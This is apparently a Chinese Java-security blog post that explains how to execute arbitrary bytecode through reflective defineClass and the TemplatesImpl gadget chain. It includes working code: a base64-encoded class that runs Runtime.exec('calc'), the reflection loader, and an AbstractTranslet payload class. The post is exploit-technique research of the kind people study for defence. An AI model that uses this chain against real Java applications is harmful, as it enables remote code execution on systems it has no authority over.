[Java安全]利用TemplatesImpl执行字节码

Posted 2021-08-27 Y4tacker

文章目录

• defineClass
• 利用TemplatesImpl执行字节码

defineClass

介绍之前首先还是要知道defineClass的利用方式，下面给出简单的代码

public class TouchFile{
    
    public TouchFile() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    
}

把它编译成字节码后Base64
之后运行

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length);
yyds.newInstance();

成功弹出了计算器

利用TemplatesImpl执行字节码

但是在实际场景中，因为defineClass方法作用域却是不开放的，所以我们很很难直接利用到它，因此就出现了这篇文章TemplatesImpl，
可以看到在TransletClassLoader中的defineClass调用了此方法

再往上TemplatesImpl的defineTransletClasses方法
再往上TemplatesImpl的getTransletInstance方法

再往上TemplatesImpl的newTransformer方法，此时已经是public方法了外面可以直接调用，不需要再继续网上跟了

因此我们得到了一条利用链

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

执行

byte[] code =Base64.getDecoder().decode(“");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_class", null);
 setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "yyds");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

其中setFieldValue是利用反射给私有变量赋值如下

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

注意_tfactory 必须为TransformerFactoryImpl 对象，另外，TemplatesImpl 中对加载的字节码是有一定要求的：这个字节码对应的类必须
是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Yyds extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public Yyds () throws Exception  {
        super();
        Runtime.getRuntime().exec("calc");
    }
}

搞定，完毕